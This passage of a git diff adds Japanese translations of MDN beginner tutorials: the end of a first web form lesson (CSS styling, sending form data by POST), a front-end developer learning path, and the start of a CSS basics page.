を指定して、ボタンを作成することもできます。例えば <code><input type="submit"></code> のように。{{HTMLElement("button")}} 要素との大きな違いは、{{HTMLElement("input")}} 要素ではラベルとしてプレーンテキストしか許容しませんが、{{HTMLElement("button")}} 要素ではすべての HTML コンテンツを使用して、もっと複雑でクリエイティブなボタンコンテンツを作成できます。</p> +</div> + +<h2 id="Lets_make_it_a_bit_nicer_with_CSS" name="Let's_make_it_a_bit_nicer_with_CSS">CSS でフォームを少し見栄えよくしましょう</h2> + +<p>フォームのHTMLコードの記述ができました。このフォームをお気に入りのブラウザーで見ると、見栄えがよくないでしょう。</p> + +<div class="note"> +<p><strong>メモ</strong>: あなたの HTML コードが正しくないと考える場合、完成例と比較してみてください — <a href="https://github.com/mdn/learning-area/blob/master/html/forms/your-first-HTML-form/first-form.html">first-form.html</a> にあります (<a href="https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form.html">ライブ版も見てください</a>)。</p> +</div> + +<p>フォームを素敵にスタイル付けるのはトリッキーです。それはこの記事でフォームスタイリングについて教える範囲を超えています。なので当面はまずまずの見ばえとなる CSS を追加するだけにしましょう。</p> + +<p>最初に、ページの HTML の head 内に {{htmlelement("style")}} 要素を追加します。次のようになります:</p> + +<pre class="brush: html notranslate"><style> + +</style></pre> + +<p><code class="language-html"><span class="tag token"><span class="tag token">style</span></span></code> タグの中に、次の CSS を追加します:</p> + +<pre class="brush:css; notranslate">form { + /* フォームをページの中央に置く */ + margin: 0 auto; + width: 500px; + /* フォームの範囲がわかるようにする */ + padding: 1em; + border: 1px solid #CCC; + border-radius: 1em; +} + +ul { + list-style: none; + padding: 0; + margin: 0; +} + +form li + li { + margin-top: 1em; +} + +label { + /* すべてのラベルを同じサイズにして、きちんと揃える */ + display: inline-block; + width: 90px; + text-align: right; +} + +input, textarea { + /* すべてのテキストフィールドのフォント設定を一致させる + デフォルトで、textarea は等幅フォントが設定されている */ + font: 1em sans-serif; + + /* すべてのテキストフィールドを同じサイズにする */ + width: 300px; + box-sizing: border-box; + + /* テキストフィールドのボーダーの外見を同一にする */ + border: 1px solid #999; +} + +input:focus, +textarea:focus { + /* アクティブな要素を少し強調する */ + border-color: #000; +} + +textarea { + /* 複数行のテキストフィールドをラベルにきちんと揃える */ + vertical-align: top; + + /* テキスト入力に十分な領域を与える */ + height: 5em; +} + +.button { + /* ボタンを他のテキストフィールドと同じ場所に置く */ + padding-left: 90px; /* label 要素と同じサイズ */ +} + +button { + /* このマージンは、ラベルとテキストフィールドの間のスペースと + おおよそ同じスペースを表す */ + margin-left: .5em; +}</pre> + +<p>保存して再読み込みすると、フォームがよりきれいになりました。</p> + +<div class="note"> +<p><strong>メモ</strong>: Github の <a href="https://github.com/mdn/learning-area/blob/master/html/forms/your-first-HTML-form/first-form-styled.html">first-form-styled.html</a> にあります(<a href="https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form-styled.html">ライブ版も見てください</a>)。</p> +</div> + +<h2 id="Sending_the_data_to_your_web_server" name="Sending_the_data_to_your_web_server">データをウェブサーバーに送信する</h2> + +<p>最後の、またもっともややこしいであろう部分が、サーバー側でのフォームデータの扱いです。{{HTMLElement("form")}} 要素は <a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/action"><code>action</code></a> 属性と <a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/method"><code>method</code></a> 属性により、どこへどのようにデータを送信するかを定義できます。</p> + +<p>フォームコントロールに <a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/name"><code>name</code></a> をつけます。これらの名前はクライアント側とサーバー側の両側で重要です。ブラウザー側ではそれぞれのデータにどのような名前をつけるかを示すものであり、サーバー側では名前によってそれぞれのデータを扱うことができます。フォームデータは名前/値のペアとしてサーバーに送信されます。</p> + +<p>データに名前をつけるために、各々のデータを集めるフォームウィジェットの <code>name</code> 属性を使用しなければなりません。ここでもフォームのコードで見てみましょう:</p> + +<pre class="brush:html; notranslate"><form action="/my-handling-form-page" method="post"> + <ul> + <li> + <label for="name">Name:</label> + <input type="text" id="name" name="user_name" /> + </li> + <li> + <label for="mail">E-mail:</label> + <input type="email" id="mail" name="user_email" /> + </li> + <li> + <label for="msg">Message:</label> + <textarea id="msg" name="user_message"></textarea> + </li> + + ... +</pre> + +<p>この例では、フォームはそれぞれ "<code>user_name</code>"、"<code>user_email</code>"、"<code>user_message</code>" と名付けられた 3 つのデータを送信します。これらのデータは URL "<code>/my-handling-form-page</code>" へ、<a href="https://developer.mozilla.org/ja/docs/Web/HTTP/Methods/POST">HTTP <code>POST</code></a> メソッドで送信します。</p> + +<p>サーバー側では URL "<code>/my-handling-form-page</code>" のスクリプトが、HTTP リクエストに埋め込まれた 3 つのキーおよび値のアイテムリストとしてデータを受け取ります。スクリプトがデータを処理する方法は、あなた次第です。各サーバーサイド言語 (PHP、Python、Ruby、Java、C# など) は、これらのデータを扱う仕組みを持っています。これは本ガイドで踏み込んでいく範囲を超えますが、詳しく知りたい場合は<a href="/ja/docs/HTML/Forms/Sending_and_retrieving_form_data" title="HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信と取得</a>の記事にサンプルを載せていますのでご覧ください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>おめでとうございます! 初めてのウェブフォームが完成しました。こちらが最終結果のデモです。</p> + +<p>{{ EmbedLiveSample('A_simple_form', '100%', '240', '', 'Learn/Forms/Your_first_form/Example') }}</p> + +<p>これはほんの開始点です、しかし — さて、より深く見ていくときが来ました。ウェブフォームはここで見てきたものよりさらに強力であり、ガイドの他の記事で残りの部分を習得できます。</p> + +<p>{{NextMenu("Learn/Forms/How_to_structure_a_web_form", "Learn/Forms")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Forms/Your_first_HTML_form">初めてのフォーム</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">フォームの構築方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/The_native_form_widgets">ネイティブフォームウィジェット</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/HTML5_input_types">The HTML5 input types</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Other_form_controls">Other form controls</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Styling_HTML_forms">フォームへのスタイル設定</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">フォームへの高度なスタイル設定</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/UI_pseudo-classes">UI pseudo-classes</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Data_form_validation">フォームデータの検証</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信</a></li> +</ul> + +<h3 id="Advanced_Topics" name="Advanced_Topics">上級トピック</h3> + +<ul> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/How_to_build_custom_form_controls">カスタムフォームコントロールの作成方法</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Sending_forms_through_JavaScript">JavaScript によるフォームの送信</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Property_compatibility_table_for_form_widgets">フォームウィジェット向けプロパティ実装状況一覧</a></li> +</ul> diff --git a/files/ja/learn/front-end_web_developer/index.html b/files/ja/learn/front-end_web_developer/index.html new file mode 100644 index 0000000000..4b0649573a --- /dev/null +++ b/files/ja/learn/front-end_web_developer/index.html @@ -0,0 +1,193 @@ +--- +title: フロントエンド Web 開発者 +slug: Learn/Front-end_web_developer +translation_of: Learn/Front-end_web_developer +--- +<p>{{learnsidebar}}</p> + +<p>フロントエンドWeb開発パスへようこそ！</p> + +<p>このパスでは、フロントエンドWeb開発者になるために理解すべき全ての事を体系的なコースとして提供しています。 それぞれのセクションに取り組み、どんどん新しいスキルを習得（または、既存のスキルをより磨いて）して下さい。それぞれのセクションには、練習とテストがあり理解を確かめてから次のセクションに進んで下さい。</p> + +<h2 id="扱っているトピック">扱っているトピック</h2> + +<p>扱っているトピックとしては:</p> + +<ul> + <li>基礎的なセットアップと学習の仕方</li> + <li>Web標準とベストプラクティス（例えば、アクセシビリティやブラウザ間の互換性など）</li> + <li>HTML：ウェブコンテンツに構造と意味を与える言語</li> + <li>CSS：ウェブページをデザインする言語</li> + <li>JavaScript：ウェブ上で動的な処理をするスクリプト言語</li> + <li>モダンなフロントエンド開発がよりしやすくなるツール</li> +</ul> + +<p>それそれのセクションに順番どおり取り組んでも良いですが、 内容が独立しているため、もしHTMLを既に知っているのであれば、一つ飛ばしてCSSのセクションに取り組んでも良いでしょう。</p> + +<h2 id="前提知識">前提知識</h2> + +<p>このコースを始めるにあたり前提知識は必要ありません。必要なのはモダンなブラウザが動作するコンピュータ、インターネット接続 、学びたいという意欲だけです。</p> + +<p>フロントエンドWeb開発が自分に適しているかわからなく､易しい説明が必要な場合はこの時間がかかる完全なコースを始める前に､<a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web">Webサイト学習の最初のステップ</a>を読んでください｡</p> + +<h2 id="学習につまずいたら">学習につまずいたら</h2> + +<p>私たちは、フロントエンドWeb開発の学習が少しでもやさしくなるよう努力してきました。それでも、何か理解できないことあったり、コードが動かなかったりして、学習につまずくことがあるでしょう。</p> + +<p>落ち着いて下さい。プロの開発者でも初心者でも、誰にだって学習でつまづくことはあります。<a href="/en-US/docs/Learn/Learning_and_getting_help">学習とヘルプ（English）</a> では情報を検索する際のヒントなど一連の有益な情報を提供しています。依然として学習につまずいているなら <a href="https://discourse.mozilla.org/c/mdn/learn/">Discourse forum</a> で気軽に質問して見て下さい。</p> + +<p>さあ、始めましょう。幸運を！</p> + +<h2 id="学習パス">学習パス</h2> + +<h3 id="さあ、始めましょう">さあ、始めましょう</h3> + +<p>所要時間: 1–2 時間</p> + +<h4 id="前提知識_2">前提知識</h4> + +<p>基本的なコンピュータリテラシー以外に必要ありあせん。</p> + +<h4 id="学習を進めるための条件">学習を進めるための条件</h4> + +<p>コースのこの部分には評価はありません。 ただし、スキップしないように注意してください。 コースの後半で演習を行う準備を整えておくことが重要です。</p> + +<p>中心となるモジュール</p> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a><a href="/ja/docs/Learn/Getting_started_with_the_web/Installing_basic_software"> </a>— 基本的なツールのステップアップ (15分で読めます)</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/The_web_and_web_standards">標準的なWebとWebのバックグラウンド</a> (45分で読めます)</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Learning_and_getting_help">学習とヘルプ（English）</a> (45分で読めます)</li> +</ul> + +<h3 id="HTML（意味付けと構造）">HTML（意味付けと構造）</h3> + +<p>所要時間: 35–50 時間</p> + +<h4 id="前提知識_3">前提知識</h4> + +<p>基本的なコンピュータリテラシーと基本的なWeb開発環境以外は何もありません。</p> + +<h4 id="学習を進めるための条件_2">学習を進めるための条件</h4> + +<p>それぞれのステップに関する知識をテストするように設計されています。 テストを完了すると、次のステップに進む準備ができているということです｡</p> + +<h4 id="中心となるモジュール">中心となるモジュール</h4> + +<ul> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTMLの紹介</a> (15–20 時間の学習)</li> + <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding">動的コンテンツ（映像や音楽）の埋め込み</a> (15–20 時間の学習)</li> + <li><a href="/en-US/docs/Learn/HTML/Tables">HTMLの表</a> (5–10 時間の学習)</li> +</ul> + +<h3 id="CSS（スタイルとレイアウト）">CSS（スタイルとレイアウト）</h3> + +<p>所要時間: 90–120 時間</p> + +<h4 id="前提知識_4">前提知識</h4> + +<p>CSSの学習を始める前にHTMLの基本的な知識を身につけておくことを推奨します｡少なくとも<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTMLの紹介</a>は読んでおきましょう｡</p> + +<h4 id="学習を進めるための条件_3">学習を進めるための条件</h4> + +<p>それぞれのステップに関する知識をテストするように設計されています。 テストを完了すると、次のステップに進む準備ができているということです｡</p> + +<h4 id="中心となるモジュール_2">中心となるモジュール</h4> + +<ul> + <li><a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a> (10–15 時間の学習)</li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks">CSS の構成要素</a> (35–45 時間の学習)</li> + <li><a href="/ja/docs/Learn/CSS/Styling_text">テキストの装飾</a> (15–20 時間の学習)</li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout">CSS レイアウト</a> (30–40 時間の学習)</li> +</ul> + +<h4 id="補助教材">補助教材</h4> + +<ul> + <li><a href="/ja/docs/Web/CSS/Layout_cookbook">CSS レイアウト料理帳</a></li> +</ul> + +<h3 id="JavaScript（インタラクティビティ）">JavaScript（インタラクティビティ）</h3> + +<p>所要時間: 135–185 時間</p> + +<h4 id="前提知識_5">前提知識</h4> + +<p>JavaScript を学習し始める前に基本的な HTML の知識を身に付けておくことをお勧めします。少なくとも <a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a> は最初に読んでおくべきでしょう。</p> + +<h4 id="学習を進めるための条件_4">学習を進めるための条件</h4> + +<p>それぞれのステップに関する知識をテストするように設計されています。 テストを完了すると、次のステップに進む準備ができているということです｡</p> + +<h4 id="中心となるモジュール_3">中心となるモジュール</h4> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/First_steps">JavaScript の第一歩</a> (30–40 時間の学習)</li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks">JavaScript の構成要素</a> (25–35 時間の学習)</li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs">クライアントサイド Web APIs</a> (30–40 時間の学習)</li> + <li><a href="/ja/docs/Learn/JavaScript/Objects">JavaScript オブジェクト入門</a> (25–35 時間の学習)</li> + <li><a href="/ja/docs/Learn/JavaScript/Asynchronous">非同期 JavaScript</a> (25–35 時間の学習)</li> +</ul> + +<h3 id="Web_フォーム（ユーザーのデータを扱う）">Web フォーム（ユーザーのデータを扱う）</h3> + +<p>所要時間: 40–50 時間</p> + +<h4 id="前提知識_6">前提知識</h4> + +<p>フォームを作るにはHTML､CSS､JavaScriptの知識が必要です｡フォームの操作は複雑であるため、これは専用のトピックです。</p> + +<h4 id="学習を進めるための条件_5">学習を進めるための条件</h4> + +<p>それぞれのステップに関する知識をテストするように設計されています。 テストを完了すると、次のステップに進む準備ができているということです｡</p> + +<h4 id="中心となるモジュール_4"><span style="">中心となるモジュール</span></h4> + +<ul> + <li><a href="/ja/docs/Learn/Forms">Web フォーム</a> (40–50 時間)</li> +</ul> + +<h3 id="すべての人のためにWebを作る">すべての人のためにWebを作る</h3> + +<p>所要時間: 60–75 時間</p> + +<h4 id="前提知識_7">前提知識</h4> + +<p>このセクションを実行する前に、HTML、CSS、およびJavaScriptを理解しておくことをお勧めします。 テクニックと最善慣行の多くは、複数のテクノロジーに触れています。</p> + +<h4 id="学習を進めるための条件_6">学習を進めるための条件</h4> + +<p>それぞれのステップに関する知識をテストするように設計されています。 テストを完了すると、次のステップに進む準備ができているということです｡</p> + +<h4 id="中心となるモジュール_5">中心となるモジュール</h4> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">Cross-browser testing</a> (25–30 hour read/exercises)</li> + <li><a href="/en-US/docs/Learn/Accessibility">Accessibility</a> (20–25 hour read/exercises)</li> +</ul> + +<h3 id="モダンなツール">モダンなツール</h3> + +<p>所要時間: 55–90 時間</p> + +<h4 id="前提知識_8">前提知識</h4> + +<p dir="ltr" id="tw-target-text">説明したツールはこれらのテクノロジーの多くと連携して機能するため、このセクションを実行する前にHTML、CSS、およびJavaScriptを理解しておくことをお勧めします。</p> + +<h4 id="学習を進めるための条件_7">学習を進めるための条件</h4> + +<p>There are no specific assessment articles in this set of modules. The case study tutorials at the end of the second and third modules prepare you for grasping the essentials of modern tooling.</p> + +<h4 id="中心となるモジュール_6">中心となるモジュール</h4> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/GitHub">Git and GitHub</a> (5 時間の記事)</li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools">Understanding client-side web development tools</a> (20–25 時間の記事)</li> + <li> + <p><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks">Understanding client-side JavaScript frameworks</a> (30-60 時間の学習)</p> + </li> +</ul> + +<div id="gtx-trans" style="position: absolute; left: 67px; top: 5240px;"> +<div class="gtx-trans-icon"></div> +</div> diff --git a/files/ja/learn/getting_started_with_the_web/css_basics/index.html b/files/ja/learn/getting_started_with_the_web/css_basics/index.html new file mode 100644 index 0000000000..86fb5b8ee5 --- /dev/null +++ b/files/ja/learn/getting_started_with_the_web/css_basics/index.html @@ -0,0 +1,295 @@ +--- +title: CSS の基本 +slug: Learn/Getting_started_with_the_web/CSS_basics +tags: + - CSS + - CodingScripting + - Styling + - Web + - 'l10n:priority' + - 初心者 + - 学習 +translation_of: Learn/Getting_started_with_the_web/CSS_basics +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web")}}</div> + +<div class="summary"> +<p>CSS (Cascading Style Sheets) は、ウェブページのスタイルを設定するコードです。「<em>CSS の基本</em>」では、始めるのに必要なものを紹介します。ここでは、テキストを黒または赤にするにはどうすればいいのか？そのような場所でコンテンツを画面に表示させるにはどうすればいいのか？背景画像と色を使って ウェブページをどのように飾るのか？というような疑問に答えていきます。</p> +</div> + +<h2 id="So_what_is_CSS_really" name="So_what_is_CSS_really">それでは CSS とは何でしょうか？</h2> + +<p>HTML のように、CSS は本当のプログラミング言語ではありません。またマークアップ言語でもありません。<strong>CSS はスタイルシート言語です</strong>。CSS は、HTML の要素を選択的にスタイルにするために使うものです。例えば、この CSS は段落のテキストを選択し、色を赤に設定しています。</p> + +<pre class="brush: css notranslate">p { + color: red; +}</pre> + +<p>それでは試してみましょう: これらの 3 行の CSS をテキストエディタの新しいファイルに貼り付け、ファイルを <code>style.css</code> として <code>styles</code> ディレクトリに保存します。</p> + +<p>しかし、まだ CSS を HTML 文書に適用する必要があります。そうしないと CSS のスタイリングはブラウザの HTML 文書の表示方法に影響しません。(私たちのプロジェクトに従っていない場合、<a href="/ja/docs/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルを扱う</a><span lang="ja"><span>と </span></span><a href="/ja/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML の基本</a>を読み、まず何をする必要があるのかを見てください)</p> + +<ol> + <li><code>index.html</code> ファイルを開き、head ({{HTMLElement("head")}} タグと <code></head></code> タグの間) に以下の行を貼り付けます + + <pre class="brush: html notranslate"><link href="styles/style.css" rel="stylesheet" type="text/css"></pre> + </li> + <li><code>index.html</code> を保存し、ブラウザで読み込みます。このように表示されるでしょう :</li> +</ol> + +<p><img alt="A mozilla logo and some paragraphs. The paragraph text has been styled red by our css." src="https://mdn.mozillademos.org/files/9435/website-screenshot-styled.png" style="display: block; height: 832px; margin: 0px auto; width: 711px;">段落テキスト(<code><p></code>と<code></p></code>で囲んだ文字)が赤色になりましたか？おめでとうございます！今はじめて CSS を書き、成功しました！</p> + +<h3 id="Anatomy_of_a_CSS_ruleset" name="Anatomy_of_a_CSS_ruleset">CSS ルールセットの構造</h3> + +<p>上記の CSS をもう少し詳しく見てみましょう:</p> + +<p><img alt="CSS p declaration color red" src="https://mdn.mozillademos.org/files/9461/css-declaration-small.png" style="display: block; height: 480px; margin: 0px auto; width: 850px;"></p> + +<p>全体の構造は<strong>ルールセット</strong>と呼びます (しかし、しばしば "ルール" として略されます)。個々のパーツの名前にも注意してください :</p> + +<dl> + <dt>{{原語併記("セレクタ", "selector")}}</dt> + <dd>ルールセットの先頭にある HTML 要素名。これはスタイルを設定する要素 (この場合は p 要素) を選択します。別の要素をスタイルするには、Selector を変更します。</dd> + <dt>{{原語併記("宣言", "declaration")}}</dt> + <dd><code>color: red;</code> のような単一のルールで、要素の<strong>プロパティ</strong>のうちどの要素をスタイルするかを指定します。</dd> + <dt>{{原語併記("プロパティ", "property")}}</dt> + <dd>指定された HTML 要素のスタイルを設定する方法 (この場合 <code>color</code> は {{htmlelement("p")}} 要素のプロパティです)。CSS ではルール内でどのプロパティを適用するかを選択します。</dd> + <dt>{{原語併記("プロパティ値", "property value")}}</dt> + <dd>プロパティの右側にはコロンの後に<strong>プロパティ値</strong>があり、与えられたプロパティの多くの外観から 1 つを選択します (赤以外にも多くの色の値があります)。</dd> +</dl> + +<p>構文の他の重要な部分に注意してください:</p> + +<ul> + <li>各ルールセット (セレクタを除く) は中括弧 (<code>{}</code>) で囲む必要があります。</li> + <li>各宣言内ではコロン (<code>:</code>) を使用してプロパティを値から分離する必要があります。</li> + <li>各規則セット内でセミコロン (<code>;</code>) を使用し、各宣言を次の規則と区切る必要があります。</li> +</ul> + +<p>したがって、一度に複数のプロパティ値を変更するには、セミコロンで区切って次のように記述するだけです:</p> + +<pre class="brush: css notranslate">p { + color: red; + width: 500px; + border: 1px solid black; +}</pre> + +<h3 id="Selecting_multiple_elements" name="Selecting_multiple_elements">複数の要素を選択する</h3> + +<p>複数の要素の種類を選択することができ、すべての要素に単一のルールセットを適用することもできます。カンマで区切られた複数のセレクタを含めます。例えば:</p> + +<pre class="brush: css notranslate">p,li,h1 { + color: red; +}</pre> + +<h3 id="Different_types_of_selectors" name="Different_types_of_selectors">さまざまな種類のセレクタ</h3> + +<p>多くのさまざまな種類のセレクタがあります。上の項目では、特定のHTMLドキュメント内の特定のタイプのすべての要素を選択する<strong>要素セレクタ</strong>だけを取り上げました。しかしそれ以上に細かい選択をすることができます。一般的なタイプのセレクタを次に示します:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">セレクタ名</th> + <th scope="col">何を選択するか</th> + <th scope="col">例</th> + </tr> + </thead> + <tbody> + <tr> + <td>要素セレクタ (時々タグまたは型セレクタと呼ばれます)</td> + <td>指定された型のすべての HTML 要素</td> + <td><code>p</code><br> + <code><p></code> を選択</td> + </tr> + <tr> + <td>ID セレクタ</td> + <td>ページ上の指定された ID を持つ要素。 特定のHTMLページでは、1つのIDにつき1つの要素（そしてもちろん1つの要素につき1つのID）しか許されません。</td> + <td><code>#my-id</code><br> + <code><p id="my-id"></code> または <code><a id="my-id"></code> を選択</td> + </tr> + <tr> + <td>クラスセレクタ</td> + <td>指定されたクラスを持つページの要素 (複数のクラスインスタンスがページに表示されます)</td> + <td><code>.my-class</code><br> + <code><p class="my-class"></code> 及び <code><a class="my-class"></code> を選択</td> + </tr> + <tr> + <td>属性セレクタ</td> + <td>指定された属性を持つページ上の要素</td> + <td><code>img[src]</code><br> + <code><img src="myimage.png"></code> を選択するが、<code><img> は選択しない</code></td> + </tr> + <tr> + <td>擬似クラスセレクタ</td> + <td>指定された要素が指定された状態にあるとき。例えば、マウスポインターが上に乗っている (ホバー) 状態。</td> + <td><code>a:hover</code><br> + <code><a></code> を選択するが、マウスポインターがリンク上にあるときのみ。</td> + </tr> + </tbody> +</table> + +<p>セレクタの種類は多く、<a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">セレクタガイド</a>により詳しい一覧があります。</p> + +<h2 id="Fonts_and_text" name="Fonts_and_text">フォントとテキスト</h2> + +<p>CSS の基本をいくつか勉強しましたので、<code>style.css</code> ファイルにいくつかのルールと情報を追加して、この例を見栄え良くしましょう。最初に、フォントとテキストの見ばえを少し良くしてみましょう。</p> + +<ol> + <li>まず最初に、どこかの安全に保存した<a href="/ja/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like#Font"> Google フォントの出力</a>を見つけてください。{{htmlelement("link")}} 要素を <code>index.html</code> の上部 (<code><head></code> タグと <code></head></code> タグの間) のどこかに追加します。これは次のようになります: + + <pre class="brush: html notranslate"><link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'></pre> + + <p>このコードは、ウェブページとともにOpen Sansフォントファミリをダウンロードするスタイルシートにページをリンクし、独自のスタイルシートを使用してHTML要素に設定することを可能にします。</p> + </li> + <li>次に <code>style.css</code> ファイルにある既存のルールを削除します。良いテストでしたが、赤いテキストは実のところあまりよくありません。</li> + <li>代わりに次の行を追加し、プレースホルダー行を Google フォントから取得した実際の <code>font-family</code> 行に置き換えます。(この <code>font-family</code> は、テキストに使用するフォントを意味します)。このルールは最初にページ全体のグローバルベースフォントとフォントサイズを設定します (<code><html></code> はページ全体の親要素です。その中のすべての要素は同じ <code>font-size</code> と <code>font-family</code> を継承します): + <pre class="brush: css notranslate">html { + font-size: 10px; /* px means 'pixels': the base font size is now 10 pixels high */ + font-family: 'Open Sans', sans-serif; /* this should be the rest of the output you got from Google fonts */ +}</pre> + + <div class="note"> + <p><strong>注</strong>: 「px」の意味を説明するコメントを追加しました。<code>/*</code> と <code>*/</code> の間にある CSS ドキュメント内のものは <strong>CSS コメント</strong>です。ブラウザはコードをレンダリングするときにこれを無視します。これはあなたが実施していることについての役立つメモを書く場所です。</p> + </div> + </li> + <li>HTML ボディ ({{htmlelement("h1")}}、{{htmlelement("li")}}、{{htmlelement("p")}}) 内のテキストを含む要素のフォントサイズを設定します)。また、読みやすくするために見出しのテキストを中央に置き、本文の内容に行の高さと文字の間隔を設定します: + <pre class="brush: css notranslate">h1 { + font-size: 60px; + text-align: center; +} + +p, li { + font-size: 16px; + line-height: 2; + letter-spacing: 1px; +}</pre> + </li> +</ol> + +<p>これらの <code>px</code> 値はあなたが望むようにデザインを得るために好きなものに調整できますが、一般的にデザインは次のようになります:</p> + +<p><img alt="a mozilla logo and some paragraphs. a sans-serif font has been set, the font sizes, line height and letter spacing are adjusted, and the main page heading has been centered" src="https://mdn.mozillademos.org/files/9447/website-screenshot-font-small.png" style="display: block; height: 1020px; margin: 0px auto; width: 921px;"></p> + +<h2 id="Boxes_boxes_its_all_about_boxes" name="Boxes_boxes_it's_all_about_boxes">ボックス、ボックス、ボックスについてのすべてのこと</h2> + +<p>CSS を書いていて気づくことの 1 つは、ボックスのサイズ・色・位置などを設定することです。ページの HTML 要素のほとんどはお互いの上にあるボックスと考えることができます。</p> + +<p><img alt="a big stack of boxes or crates sat on top of one another" src="https://mdn.mozillademos.org/files/9441/boxes.jpg" style="display: block; height: 463px; margin: 0px auto; width: 640px;"></p> + +<p>当然のことながら、CSS レイアウトは主に<em>ボックスモデル</em>に基づいています。ページ上のスペースを占める各ブロックは、次のようなプロパティを持ちます:</p> + +<ul> + <li><code>padding</code>: コンテンツのまわりのスペース (例えば段落テキストの周り)</li> + <li><code>border</code>: <code>padding</code> のすぐ外側にある実線</li> + <li><code>margin</code>: 要素の外側の周りの空間</li> +</ul> + +<p><img alt="three boxes sat inside one another. From outside to in they are labelled margin, border and padding" src="https://mdn.mozillademos.org/files/9443/box-model.png" style="display: block; height: 450px; margin: 0px auto; width: 574px;"></p> + +<p>このセクションでは次のものを使用します :</p> + +<ul> + <li><code>width</code> (要素の)</li> + <li><code>background-color</code>: <span class="short_text" id="result_box" lang="ja"><span>要素の内容と padding の背後にある色</span></span></li> + <li><code>color</code>: 要素のコンテンツ (通常はテキスト) の色</li> + <li><code>text-shadow</code>: 要素内のテキストに影を設定する</li> + <li><code>display</code>: 要素の表示モードを設定します (これについてはまだ心配しないでください)</li> +</ul> + +<p>では、ページに CSS を追加しましょう！これらの新しいルールをページの最後に追加しておき、値の変更を試すのを恐れることなく、どのように変化するかを確認してください。</p> + +<h3 id="Changing_the_page_color" name="Changing_the_page_color">ページの色を変更する</h3> + +<pre class="brush: css notranslate">html { + background-color: #00539F; +}</pre> + +<p>このルールはページ全体の背景色に設定を行います。上記のカラーコードを、<a href="/ja/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like#Theme_color">サイトを計画する際に選択した</a>色に変更します。</p> + +<h3 id="Sorting_the_body_out" name="Sorting_the_body_out">ボディのスタイリング</h3> + +<pre class="brush: css notranslate">body { + width: 600px; + margin: 0 auto; + background-color: #FF9500; + padding: 0 20px 20px 20px; + border: 5px solid black; +}</pre> + +<p>次は {{htmlelement("body")}} 要素です。ここにはいくつかの宣言がありますので、それらをひとつひとつ見て行きましょう:</p> + +<ul> + <li><code>width: 600px;</code> — これにより body は常に 600 ピクセルの幅になります。</li> + <li><code>margin: 0 auto;</code> — <code> margin</code> や <code>padding</code> などのプロパティに 2 つの値を設定すると、最初の値は要素の上下の辺に影響を与えます (この場合は 0 になります )。2 番目の値は左右です (<a href="/ja/docs/Web/CSS/margin#Values">ここ</a>で <code>auto</code> は利用可能な水平スペースを左右に均等に分割します)。<a href="https://developer.mozilla.org/ja/docs/Web/CSS/margin#Values">margin の構文</a>で説明するように 1 つ、3 つ、または 4 つの値を使用することもできます。</li> + <li><code>background-color: #FF9500;</code> — 前と同じようにこれは要素の背景色を設定します。このプロジェクトでは <code>body</code> に <code>html</code> 要素の暗い青とは対照的な赤いオレンジ色の一種を使用しました。実験してください。<code>white</code> や何でも好きなものを自由に使用してください。</li> + <li><code>padding: 0 20px 20px 20px;</code> — <code>padding</code> に 4 つの値を設定して、コンテンツの周りに少しのスペースを確保します。今回はボディの上にパディングを設定せず、左・下・右に 20 ピクセルを設定します。値は上・右・下・左の順に設定されます。<code>margin</code> と同様に、<a href="/ja/docs/Web/CSS/padding#Syntax">パディング構文</a>で説明されているように、1つ、2つ、または3つの値を使用することもできます。</li> + 